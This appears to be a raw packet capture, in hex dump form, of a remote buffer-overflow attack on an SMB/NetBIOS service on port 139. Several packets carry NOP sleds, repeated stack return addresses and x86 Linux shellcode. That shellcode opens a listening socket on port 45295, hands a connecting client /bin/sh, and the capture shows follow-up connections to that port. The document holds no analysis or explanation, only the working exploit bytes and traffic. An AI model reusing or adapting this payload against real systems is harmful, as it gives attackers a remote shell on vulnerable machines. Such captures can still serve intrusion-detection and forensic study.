0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 31c0 31db 31c9 51b1 0651 b101  ....1.1.1.Q..Q..
0x01a0      51b1 0251 89e1 b301 b066 cd80 89c1 31c0  Q..Q.....f....1.
0x01b0      31db 5050 5066 68b0 efb3 0266 5389 e2b3  1.PPPfh....fS...
0x01c0      1053 b302 5251 89ca 89e1 b066 cd80 31db  .S..RQ.....f..1.
0x01d0      39c3 7405 31c0 40cd 8031 c050 5289 e1b3  9.t.1.@..1.PR...
0x01e0      04b0 66cd 8089 d731 c031 db31 c9b3 11b1  ..f....1.1.1....
0x01f0      01b0 30cd 8031 c031 db50 5057 89e1 b305  ..0..1.1.PPW....
0x0200      b066 cd80 89c6 31c0 31db b002 cd80 39c3  .f....1.1.....9.
0x0210      7540 31c0 89fb b006 cd80 31c0 31c9 89f3  u@1.......1.1...
0x0220      b03f cd80 31c0 41b0 3fcd 8031 c041 b03f  .?..1.A.?..1.A.?
0x0230      cd80 31c0 5068 2f2f 7368 682f 6269 6e89  ..1.Ph//shh/bin.
0x0240      e38b 5424 0850 5389 e1b0 0bcd 8031 c040  ..T$.PS......1.@
0x0250      cd80 31c0 89f3 b006 cd80 eb99 9090 9090  ..1.............
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0480      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0490      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:19.032655 XX.XX.XXX.164.34146 > XXX.XX.X.137.45295: S 1773889480:1773889480(0) win 5840 <mss 1460,sackOK,timestamp 8865183 0,nop,wscale 0> (DF)
0x0000      4500 003c 2257 4000 2f06 f829 3e10 69a4  E..<"W@./..)>.i.
0x0010      800a 097d 8562 b0ef 69bb 67c8 0000 0000  ...}.b..i.g.....
0x0020      a002 16d0 b1ff 0000 0204 05b4 0402 080a  ................
0x0030      0087 459f 0000 0000 0103 0300            ..E.........
11:41:19.032752 XX.XX.XXX.164.34138 > XXX.XX.X.137.139: FP 3011:4114(1103) ack 89 win 5840 <nop,nop,timestamp 8865183 8427824>NBT Packet (DF)
0x0000      4500 0483 ba80 4000 2f06 5bb9 3e10 69a4  E.....@./.[.>.i.
0x0010      800a 097d 855a 008b 6900 0aa7 6f3b fe45  ...}.Z..i...o;.E
0x0020      8019 16d0 dafb 0000 0101 080a 0087 459f  ..............E.
0x0030      0080 9930 9090 9090 9090 9090 9090 9090  ...0............
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9000 0000  ................
0x0100      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0110      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0120      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0130      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0140      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0150      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0160      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0170      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0180      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0190      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0200      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0210      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0220      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0230      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0240      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0250      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0260      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0270      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0280      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0290      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0300      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0310      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0320      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0330      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0340      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0350      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0360      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0370      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0380      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0390      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0400      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0410      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0420      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0430      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0440      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0450      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0460      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0470      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0480      0000 00                                  ...
11:41:19.033623 XXX.XX.X.137.139 > XX.XX.XXX.164.34138: . ack 3011 win 8688 <nop,nop,timestamp 8427840 8865183> (DF)
0x0000      4500 0034 64fa 4000 4006 a48e 800a 097d  E..4d.@.@......}
0x0010      3e10 69a4 008b 855a 6f3b fe45 6900 0aa7  >.i....Zo;.Ei...
0x0020      8010 21f0 dc9c 0000 0101 080a 0080 9940  ..!............@
0x0030      0087 459f                                ..E.
11:41:19.033628 XXX.XX.X.137.139 > XX.XX.XXX.164.34138: . ack 3011 win 8688 <nop,nop,timestamp 8427840 8865183> (DF)
0x0000      4500 0034 64fa 4000 4006 a48e 800a 097d  E..4d.@.@......}
0x0010      3e10 69a4 008b 855a 6f3b fe45 6900 0aa7  >.i....Zo;.Ei...
0x0020      8010 21f0 dc9c 0000 0101 080a 0080 9940  ..!............@
0x0030      0087 459f                                ..E.
11:41:19.033740 XXX.XX.X.137.45295 > XX.XX.XXX.164.34146: S 1866194156:1866194156(0) ack 1773889481 win 5792 <mss 1460,sackOK,timestamp 8427840 8865183,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 b0ef 8562 6f3b dcec 69bb 67c9  >.i....bo;..i.g.
0x0020      a012 16a0 cc35 0000 0204 05b4 0402 080a  .....5..........
0x0030      0080 9940 0087 459f 0103 0300            ...@..E.....
11:41:19.033742 XXX.XX.X.137.45295 > XX.XX.XXX.164.34146: S 1866194156:1866194156(0) ack 1773889481 win 5792 <mss 1460,sackOK,timestamp 8427840 8865183,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 b0ef 8562 6f3b dcec 69bb 67c9  >.i....bo;..i.g.
0x0020      a012 16a0 cc35 0000 0204 05b4 0402 080a  .....5..........
0x0030      0080 9940 0087 459f 0103 0300            ...@..E.....
11:41:19.035502 XXX.XX.X.137.139 > XX.XX.XXX.164.34138: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427840 8865183> (DF)
0x0000      4500 0034 64fb 4000 4006 a48d 800a 097d  E..4d.@.@......}
0x0010      3e10 69a4 008b 855a 6f3b fe45 6900 0ef7  >.i....Zo;.Ei...
0x0020      8014 2d40 ccf8 0000 0101 080a 0080 9940  ..-@...........@
0x0030      0087 459f                                ..E.
11:41:19.035510 XXX.XX.X.137.139 > XX.XX.XXX.164.34138: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427840 8865183> (DF)
0x0000      4500 0034 64fb 4000 4006 a48d 800a 097d  E..4d.@.@......}
0x0010      3e10 69a4 008b 855a 6f3b fe45 6900 0ef7  >.i....Zo;.Ei...
0x0020      8014 2d40 ccf8 0000 0101 080a 0080 9940  ..-@...........@
0x0030      0087 459f                                ..E.
11:41:19.078489 XX.XX.XXX.164.34143 > XXX.XX.X.137.139: . ack 46 win 5840 <nop,nop,timestamp 8865206 8427829> (DF)
0x0000      4500 0034 39ec 4000 2f06 e09c 3e10 69a4  E..49.@./...>.i.
0x0010      800a 097d 855f 008b 69b2 7d21 6f23 b7a8  ...}._..i.}!o#..
0x0020      8010 16d0 bb34 0000 0101 080a 0087 45b6  .....4........E.
0x0030      0080 9935                                ...5
11:41:19.078493 XX.XX.XXX.164.34143 > XXX.XX.X.137.139: P 51:115(64) ack 46 win 5840 <nop,nop,timestamp 8865206 8427829>NBT Packet (DF)
0x0000      4500 0074 39ed 4000 2f06 e05b 3e10 69a4  E..t9.@./..[>.i.
0x0010      800a 097d 855f 008b 69b2 7d21 6f23 b7a8  ...}._..i.}!o#..
0x0020      8018 16d0 1475 0000 0101 080a 0087 45b6  .....u........E.
0x0030      0080 9935 0000 003c ff53 4d42 7000 0000  ...5...<.SMBp...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 5309 6400 0000 0000 0000 5c5c 6970  ..S.d.......\\ip
0x0060      6324 256e 6f62 6f64 7900 0000 0000 0000  c$%nobody.......
0x0070      4950 4324                                IPC$
11:41:19.081857 XXX.XX.X.137.139 > XX.XX.XXX.164.34143: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427845 8865206>NBT Packet (DF)
0x0000      4500 005f 2e51 4000 4006 db0c 800a 097d  E.._.Q@.@......}
0x0010      3e10 69a4 008b 855f 6f23 b7a8 69b2 7d61  >.i...._o#..i.}a
0x0020      8018 16a0 4299 0000 0101 080a 0080 9945  ....B..........E
0x0030      0087 45b6 0000 0027 ff53 4d42 7000 0000  ..E....'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 5309 6400 0000 02ff ff01 0000 00    ..S.d..........
11:41:19.081867 XXX.XX.X.137.139 > XX.XX.XXX.164.34143: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427845 8865206>NBT Packet (DF)
0x0000      4500 005f 2e51 4000 4006 db0c 800a 097d  E.._.Q@.@......}
0x0010      3e10 69a4 008b 855f 6f23 b7a8 69b2 7d61  >.i...._o#..i.}a
0x0020      8018 16a0 4299 0000 0101 080a 0080 9945  ....B..........E
0x0030      0087 45b6 0000 0027 ff53 4d42 7000 0000  ..E....'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 5309 6400 0000 02ff ff01 0000 00    ..S.d..........
11:41:19.089209 XX.XX.XXX.164.34142 > XXX.XX.X.137.45295: . ack 2 win 5840 <nop,nop,timestamp 8865212 8427830> (DF)
0x0000      4500 0034 0000 4000 2f06 1a89 3e10 69a4  E..4..@./...>.i.
0x0010      800a 097d 855e b0ef 68e4 c45b 6f44 ea68  ...}.^..h..[oD.h
0x0020      8010 16d0 917c 0000 0101 080a 0087 45bc  .....|........E.
0x0030      0080 9936                                ...6
11:41:19.137137 XX.XX.XXX.164.34145 > XXX.XX.X.137.45295: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 8865237 8427835> (DF)
0x0000      4500 0034 55e3 4000 2f06 c4a5 3e10 69a4  E..4U.@./...>.i.
0x0010      800a 097d 8561 b0ef 6986 109f 6fc1 7fa2  ...}.a..i...o...
0x0020      8011 16d0 aebe 0000 0101 080a 0087 45d5  ..............E.
0x0030      0080 993b                                ...;
11:41:19.137139 XX.XX.XXX.164.34145 > XXX.XX.X.137.45295: . ack 1 win 5840 <nop,nop,timestamp 8865237 8427835> (DF)
0x0000      4500 0034 55e2 4000 2f06 c4a6 3e10 69a4  E..4U.@./...>.i.
0x0010      800a 097d 8561 b0ef 6986 109f 6fc1 7fa2  ...}.a..i...o...
0x0020      8010 16d0 aebf 0000 0101 080a 0087 45d5  ..............E.
0x0030      0080 993b                                ...;
11:41:19.137546 XXX.XX.X.137.45295 > XX.XX.XXX.164.34145: . ack 2 win 5792 <nop,nop,timestamp 8427850 8865237> (DF)
0x0000      4500 0034 e6e8 4000 4006 22a0 800a 097d  E..4..@.@."....}
0x0010      3e10 69a4 b0ef 8561 6fc1 7fa2 6986 10a0  >.i....ao...i...
0x0020      8010 16a0 aedf 0000 0101 080a 0080 994a  ...............J
0x0030      0087 45d5                                ..E.
11:41:19.137551 XXX.XX.X.137.45295 > XX.XX.XXX.164.34145: . ack 2 win 5792 <nop,nop,timestamp 8427850 8865237> (DF)
0x0000      4500 0034 e6e8 4000 4006 22a0 800a 097d  E..4..@.@."....}
0x0010      3e10 69a4 b0ef 8561 6fc1 7fa2 6986 10a0  >.i....ao...i...
0x0020      8010 16a0 aedf 0000 0101 080a 0080 994a  ...............J
0x0030      0087 45d5                                ..E.
11:41:19.138574 XX.XX.XXX.164.34141 > XXX.XX.X.137.139: . 115:1563(1448) ack 89 win 5840 <nop,nop,timestamp 8865237 8427835>NBT Packet (DF)
0x0000      4500 05dc 7971 4000 2f06 9b6f 3e10 69a4  E...yq@./..o>.i.
0x0010      800a 097d 855d 008b 69a2 3e31 6f31 698f  ...}.]..i.>1o1i.
0x0020      8010 16d0 e89a 0000 0101 080a 0087 45d5  ..............E.
0x0030      0080 993b 0004 0830 ff53 4d42 3200 0000  ...;...0.SMB2...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 0000 6400 0000 00d0 070c 00d0 070c  ....d...........
0x0060      0000 0000 0000 0000 0000 00d0 0743 000c  .............C..
0x0070      0014 0801 0000 0000 0000 0000 0000 0000  ................
0x0080      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0090      0000 0090 0090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0200      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0210      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0220      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0230      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0240      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0250      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 eb70 90b8  .............p..
0x0480      f3ff bf48 f4ff bfb8 f3ff bf48 f4ff bfb8  ...H.......H....
0x0490      f3ff bf48 f4ff bfb8 f3ff bf48 f4ff bfb8  ...H.......H....
0x04a0      f3ff bf48 f4ff bfb8 f3ff bf48 f4ff bfb8  ...H.......H....
0x04b0      f3ff bf48 f4ff bfb8 f3ff bf48 f4ff bfb8  ...H.......H....
0x04c0      f3ff bf48 f4ff bfb8 f3ff bf48 f4ff bfb8  ...H.......H....
0x04d0      f3ff bf48 f4ff bfb8 f3ff bf48 f4ff bf90  ...H.......H....
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:19.138847 XX.XX.XXX.164.34141 > XXX.XX.X.137.139: . 1563:3011(1448) ack 89 win 5840 <nop,nop,timestamp 8865237 8427835>NBT Packet (DF)
0x0000      4500 05dc 7972 4000 2f06 9b6e 3e10 69a4  E...yr@./..n>.i.
0x0010      800a 097d 855d 008b 69a2 43d9 6f31 698f  ...}.]..i.C.o1i.
0x0020      8010 16d0 cd0a 0000 0101 080a 0087 45d5  ..............E.
0x0030      0080 993b 9090 9090 9090 9090 9090 9090  ...;............
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 31c0 31db 31c9 51b1 0651 b101  ....1.1.1.Q..Q..
0x01a0      51b1 0251 89e1 b301 b066 cd80 89c1 31c0  Q..Q.....f....1.
0x01b0      31db 5050 5066 68b0 efb3 0266 5389 e2b3  1.PPPfh....fS...
0x01c0      1053 b302 5251 89ca 89e1 b066 cd80 31db  .S..RQ.....f..1.
0x01d0      39c3 7405 31c0 40cd 8031 c050 5289 e1b3  9.t.1.@..1.PR...
0x01e0      04b0 66cd 8089 d731 c031 db31 c9b3 11b1  ..f....1.1.1....
0x01f0      01b0 30cd 8031 c031 db50 5057 89e1 b305  ..0..1.1.PPW....
0x0200      b066 cd80 89c6 31c0 31db b002 cd80 39c3  .f....1.1.....9.
0x0210      7540 31c0 89fb b006 cd80 31c0 31c9 89f3  u@1.......1.1...
0x0220      b03f cd80 31c0 41b0 3fcd 8031 c041 b03f  .?..1.A.?..1.A.?
0x0230      cd80 31c0 5068 2f2f 7368 682f 6269 6e89  ..1.Ph//shh/bin.
0x0240      e38b 5424 0850 5389 e1b0 0bcd 8031 c040  ..T$.PS......1.@
0x0250      cd80 31c0 89f3 b006 cd80 eb99 9090 9090  ..1.............
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
